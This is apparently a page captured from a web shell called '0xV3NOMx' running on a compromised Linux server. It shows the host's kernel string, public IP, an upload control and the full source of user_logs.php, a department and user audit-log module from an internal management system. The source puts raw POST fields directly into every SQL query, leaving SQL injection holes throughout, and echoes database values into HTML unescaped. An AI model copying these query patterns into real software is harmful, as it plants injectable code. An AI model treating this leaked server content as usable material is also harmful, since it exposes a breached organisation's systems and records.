0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.15.138.214


Current Path : /var/www/html/oums/src/
Upload File :
Current File : /var/www/html/oums/src/user_logs.php

<?php
include("sys_session.php");
include("sys_connect.php");
include("sys_mainphp.php");
$load_data = $_POST["load_data"];
$resp_mesg = "";
$resp_stat = "";
$resp_file = "";

if ($load_data == 'dept_data') {
    if ($type_id == 'ADMIN') {
        $mysql = "select * from masdept where fdeptcode<>'ADMN' order by fdeptname";
    } elseif ($type_id == 'CHIEF') {
        $mysql = "select * from masdept where fdepthead='$empl_id' and fdeleted<>'T' order by fdeptname";
    } else {
        $mysql = "select * from masdept where fdeptcode='$dept_id' and fdeleted<>'T' order by fdeptcode";
    }
    $myres = mysqli_query($mycon, $mysql);
    if (mysqli_num_rows($myres) > 1) {
        echo "<option value=%>ALL</option>";
    }
    while ($myrow = mysqli_fetch_assoc($myres)) {
        echo "<option value='$myrow[fdeptcode]'>$myrow[fdeptname] [$myrow[fdeptcode]]</option>";
    }
}

if ($load_data == 'user_data') {
    $dept_code = $_POST["dept_code"];

    $mysql = "";
    $mysql .= "select femplname,femplcode,fdepthead from masempl,masdept where masempl.fdeptcode like '$dept_code' ";
    if ($type_id == "ADMIN") {
        $mysql .= "and masempl.fdeptcode=masdept.fdeptcode ";
    } elseif ($type_id == "CHIEF") {
        $mysql .= "and masempl.fdeptcode=masdept.fdeptcode and masdept.fdepthead = '$empl_id' ";
    } else {
        $mysql .= "and masempl.fdeptcode=masdept.fdeptcode and masempl.fdeptcode = '$dept_id' ";
    }
    $mysql .= "and ifnull(fusercode,'')<>'' order by femplname";
    $myres = mysqli_query($mycon, $mysql);
    if (mysqli_num_rows($myres) > 1) {
        if ($type_id == 'ADMIN') {
            echo "<option value=%>ALL</option>";
        } elseif ($type_id == 'CHIEF') {
            echo "<option value=%>ALL</option>";
        } else {
            echo "<option value=0>--Select--</option>";
        }
    }
    while ($myrow = mysqli_fetch_assoc($myres)) {
        echo "<option value='$myrow[fusercode]'>$myrow[femplname]</option>";
    }
}

if ($load_data == 'view_data') {
    if ($type_id == 'CHIEF') {
        $mysql = "select lg.fdeptcode,lg.fusercode,lg.flogstype,lg.fremarks,lg.flogsipad,dp.fdeptshrt,em.femplname,
        DATE_FORMAT(flogsdate,'%d/%m/%Y %h:%i:%s %p') as flogsdate 
        from sys_logs lg 
        inner join masdept dp on lg.fdeptcode = dp.fdeptcode
        inner join masempl em on lg.fusercode = em.fusercode
        where lg.fdeptcode  like '$_POST[dept_code]'
        and left(flogsdate,10) between str_to_date('$_POST[logs_dat1]','%d/%m/%Y') and str_to_date('$_POST[logs_dat2]','%d/%m/%Y') 
        and lg.flogstype like '$_POST[logs_type]' 
        and lg.fusercode like '$_POST[user_code]' 
        order by lg.flogsdate desc";
    } elseif ($type_id == 'CHIEF1') {
        $mysql = "select lg.fdeptcode,lg.fusercode,lg.flogstype,lg.fremarks,lg.flogsipad,dp.fdeptshrt,em.femplname,
        DATE_FORMAT(flogsdate,'%d/%m/%Y %h:%i:%s %p') as flogsdate 
        from sys_logs lg 
        inner join masdept dp on lg.fdeptcode = dp.fdeptcode
        inner join masempl em on lg.fusercode = em.fusercode
        inner join masdept_user du on lg.fdeptcode = du.fdeptcode and du.fusercode = '$user_id' 
        where lg.fdeptcode  like '$_POST[dept_code]'
        and left(flogsdate,10) between str_to_date('$_POST[logs_dat1]','%d/%m/%Y') and str_to_date('$_POST[logs_dat2]','%d/%m/%Y') 
        and lg.flogstype like '$_POST[logs_type]' 
        and lg.fusercode like '$_POST[user_code]' 
        order by lg.flogsdate desc";
    } else {
        $mysql = "select lg.fdeptcode,lg.fusercode,lg.flogstype,lg.fremarks,lg.flogsipad,dp.fdeptshrt,em.femplname,
        DATE_FORMAT(flogsdate,'%d/%m/%Y %h:%i:%s %p') as flogsdate 
        from sys_logs lg 
        inner join masdept dp on lg.fdeptcode = dp.fdeptcode
        inner join masempl em on lg.fusercode = em.fusercode
        inner join masdept_user du on lg.fdeptcode = du.fdeptcode and du.fusercode = '$user_id' 
        where lg.fdeptcode  like '$_POST[dept_code]'
        and left(flogsdate,10) between str_to_date('$_POST[logs_dat1]','%d/%m/%Y') and str_to_date('$_POST[logs_dat2]','%d/%m/%Y') 
        and lg.flogstype like '$_POST[logs_type]' 
        and lg.fusercode = '$user_id' 
        order by lg.flogsdate desc";
    }


    // $mysql = "select sys_logs.*,fdepthead,fdeptshrt from sys_logs,masdept where sys_logs.fdeptcode like '$_POST[dept_code]' 
    // and fusercode like '$_POST[user_code]' and 
    // left(flogsdate,10) between str_to_date('$_POST[logs_dat1]','%d/%m/%Y') and str_to_date('$_POST[logs_dat2]','%d/%m/%Y') 
    // and sys_logs.fdeptcode=masdept.fdeptcode 
    // and flogstype like '$_POST[logs_type]' and sys_logs.fdeleted='F' order by flogsdate";

    $myres = mysqli_query($mycon, $mysql);
    $mycnt = mysqli_num_rows($myres);
    if ($mycnt == 0) {
        echo "No records found!";
    } else {
        $resp_stat = "T";
        echo "<table class=table_list border=1>";
        echo "<tr>";
        echo "<th width = '5%'>  # </th>";
        echo "<th width = '15%'> Date & Time</th>";
        echo "<th width = '10%'> Dept Code</th>";
        echo "<th width = '20%'> User Name </th>";
        echo "<th width = '30%'> Description </th>";
        echo "<th width = '20%'> IP Address </th>";
        echo "</tr>";
        $i = 1;
        while ($myrow = mysqli_fetch_assoc($myres)) {
            echo "<tr>";
            echo "<td align='center'> $i</td>";
            echo "<td align='center'> $myrow[flogsdate]</td>";
            echo "<td align='center'> $myrow[fdeptcode] [$myrow[fdeptshrt]]</td>";
            echo "<td align='left'>   $myrow[femplname]</td>";
            echo "<td align='left'>   $myrow[fremarks]</td>";
            echo "<td align='left'>   $myrow[flogsipad]</td>";
            echo "</tr>";
            $i++;
        }
    }
}